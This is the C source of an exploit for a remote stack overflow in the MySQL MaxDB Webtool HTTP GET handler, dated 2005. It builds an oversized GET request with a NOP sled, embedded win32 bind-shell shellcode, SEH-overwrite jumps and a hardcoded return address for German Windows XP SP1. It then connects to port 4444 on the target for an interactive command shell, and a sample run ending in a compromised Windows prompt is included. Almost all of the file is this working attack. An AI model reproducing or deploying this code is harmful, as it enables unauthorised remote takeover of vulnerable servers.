MySQL MaxDB Webtool HTTP GET Remote Stack Overflow Exploit/*
* MySQL MaxDB Webtool Remote Stack Overflow Exploit
*
* cybertronic[at]gmx[dot]net
*
* 04/27/2005
* __ __ _
* _______ __/ /_ ___ _____/ /__________ ____ (_)____
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
* /____/
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ select target
* --[ 0 [0x100163d2] esi ebp ret
* --[ 1 [0xdeadc0de] crash server
* >> 0
* --[ connecting to 192.168.2.103:9999...done!
* --[ sending packet [ 16383 bytes ]...done!
* --[ sleeping 5 seconds before connecting to 192.168.2.103:4444...
* --[ connecting to 192.168.2.103:4444...done!
* --[ b0x pwned - h4ve phun
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\WINDOWS\system32>
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 9999
#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"
/*
*
* prototypes
*
*/
int exploit ( int s, unsigned long ret );
int isip ( char *ip );
int shell ( int s, char* tip, unsigned short cbport );
void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );
/*********************
* Windows Shellcode *
*********************/
/* win32_bind */
unsigned char bindshell[] =
"\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92"
"\x35\x88\x95\x83\xeb\xfc\xe2\xf4\x6e\x5f\x63\xda\x7a\xcc\x77\x6a"
"\x6d\x55\x03\xf9\xb6\x11\x03\xd0\xae\xbe\xf4\x90\xea\x34\x67\x1e"
"\xdd\x2d\x03\xca\xb2\x34\x63\x76\xa2\x7c\x03\xa1\x19\x34\x66\xa4"
"\x52\xac\x24\x11\x52\x41\x8f\x54\x58\x38\x89\x57\x79\xc1\xb3\xc1"
"\xb6\x1d\xfd\x76\x19\x6a\xac\x94\x79\x53\x03\x99\xd9\xbe\xd7\x89"
"\x93\xde\x8b\xb9\x19\xbc\xe4\xb1\x8e\x54\x4b\xa4\x52\x51\x03\xd5"
"\xa2\xbe\xc8\x99\x19\x45\x94\x38\x19\x75\x80\xcb\xfa\xbb\xc6\x9b"
"\x7e\x65\x77\x43\xa3\xee\xee\xc6\xf4\x5d\xbb\xa7\xfa\x42\xfb\xa7"
"\xcd\x61\x77\x45\xfa\xfe\x65\x69\xa9\x65\x77\x43\xcd\xbc\x6d\xf3"
"\x13\xd8\x80\x97\xc7\x5f\x8a\x6a\x42\x5d\x51\x9c\x67\x98\xdf\x6a"
"\x44\x66\xdb\xc6\xc1\x66\xcb\xc6\xd1\x66\x77\x45\xf4\x5d\x99\xc9"
"\xf4\x66\x01\x74\x07\x5d\x2c\x8f\xe2\xf2\xdf\x6a\x44\x5f\x98\xc4"
"\xc7\xca\x58\xfd\x36\x98\xa6\x7c\xc5\xca\x5e\xc6\xc7\xca\x58\xfd"
"\x77\x7c\x0e\xdc\xc5\xca\x5e\xc5\xc6\x61\xdd\x6a\x42\xa6\xe0\x72"
"\xeb\xf3\xf1\xc2\x6d\xe3\xdd\x6a\x42\x53\xe2\xf1\xf4\x5d\xeb\xf8"
"\x1b\xd0\xe2\xc5\xcb\x1c\x44\x1c\x75\x5f\xcc\x1c\x70\x04\x48\x66"
"\x38\xcb\xca\xb8\x6c\x77\xa4\x06\x1f\x4f\xb0\x3e\x39\x9e\xe0\xe7"
"\x6c\x86\x9e\x6a\xe7\x71\x77\x43\xc9\x62\xda\xc4\xc3\x64\xe2\x94"
"\xc3\x64\xdd\xc4\x6d\xe5\xe0\x38\x4b\x30\x46\xc6\x6d\xe3\xe2\x6a"
"\x6d\x02\x77\x45\x19\x62\x74\x16\x56\x51\x77\x43\xc0\xca\x58\xfd"
"\x62\xbf\x8c\xca\xc1\xca\x5e\x6a\x42\x35\x88\x95";
unsigned char jmp1[] =
"\xeb\x08";
unsigned char jmp2[] =
"\xe9\xe2\xf7\xff\xff"; //jmp -2078
/*
*
* structures
*
*/
struct targets {
int num;
unsigned long ret;
char name[64];
}
target[]= {
{ 0, 0x100163d2, "WinXP Pro SP1 GER" },
//tested working on my WinXP Pro SP1 box [ pop pop ret in wapi.dll ]
{ 1, 0xdeadc0de, "crash server" },
};
/*
*
* functions
*
*/
int
exploit ( int s, unsigned long ret )
{
char buffer[16384];
bzero ( &buffer, sizeof ( buffer ) );
memset ( buffer, 0x90, sizeof ( buffer ) -13 );
strncpy ( buffer, "GET /%", 6 );
memcpy ( buffer + 1600, bindshell, sizeof ( bindshell ) - 1 );
memcpy ( buffer + 3657, jmp1, sizeof ( jmp1 ) -1 );
/*
*
* SEH offset changes for different binary path
* This exploits WinXP Pro SP1 GER asuming the
* default path of C:\Programme\sdb\programs\web\Documents
* englisch version is supported by metasploit
* http://www.metasploit.com/projects/Framework/modules
/exploits/maxdb_webdbm_get_overflow.pm
*
*/
strncpy ( buffer + 3661, ( unsigned char* ) &ret, 4 );
memcpy ( buffer + 3673, jmp2, sizeof ( jmp2 ) -1 );
strncat ( buffer, "HTTP/1.0\r\n\r\n", 12 );
printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( RED "failed!\n" NORMAL);
return ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
return ( 0 );
}
int
isip ( char *ip )
{
int a, b, c, d;
if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
return ( 0 );
if ( a < 1 )
return ( 0 );
if ( a > 255 )
return 0;
if ( b < 0 )
return 0;
if ( b > 255 )
return 0;
if ( c < 0 )
return 0;
if ( c > 255 )
return 0;
if ( d < 0 )
return 0;
if ( d > 255 )
return 0;
return 1;
}
int
shell ( int s, char* tip, unsigned short cbport )
{
int n;
char buffer[2048];
fd_set fd_read;
printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n"
YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e "
NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}
void
connect_to_bindshell ( char* tip, unsigned short bport )
{
int s;
int sec = 5; // change this for fast targets
struct sockaddr_in remote_addr;
struct hostent *host_addr;
if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( bport );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
wait ( sec );
printf ( "--[ connecting to %s:%u...", tip, bport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( RED "failed!\n" NORMAL);
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
shell ( s, tip, bport );
}
void
header ()
{
printf ( " __ __ _ \n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
printf ( " /____/ \n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}
void
wait ( int sec )
{
sleep ( sec );
}
int
main ( int argc, char* argv[] )
{
int s, targ, i;
struct sockaddr_in remote_addr;
struct hostent* host_addr;
if ( argc != 2 )
{
printf ( "Usage: %s <ip>\n", argv[0] );
exit ( 1 );
}
system ( "clear" );
header ();
if ( !isip ( argv[1] ) )
{
printf ( "Invalid Target IP!\n" );
exit ( 1 );
}
printf("--[ select target\n");
for ( i = 0; i < 2; i++ )
printf ( "--[ %d [0x%08x] %s\n", target[i].num, target[i].ret, target[i].name );
printf ( " >> " );
scanf ( "%d", &targ );
if ( targ != 0 )
if ( targ != 1 )
{
printf ( "--[ invalid target!\n" );
exit ( 1 );
}
if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( PORT );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ( "--[ connecting to %s:%u...", argv[1], PORT );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
if ( exploit ( s, target[targ].ret ) == 1 )
{
printf ( "exploitation FAILED!\n" );
exit ( 1 );
}
close ( s );
connect_to_bindshell ( argv[1], 4444 );
}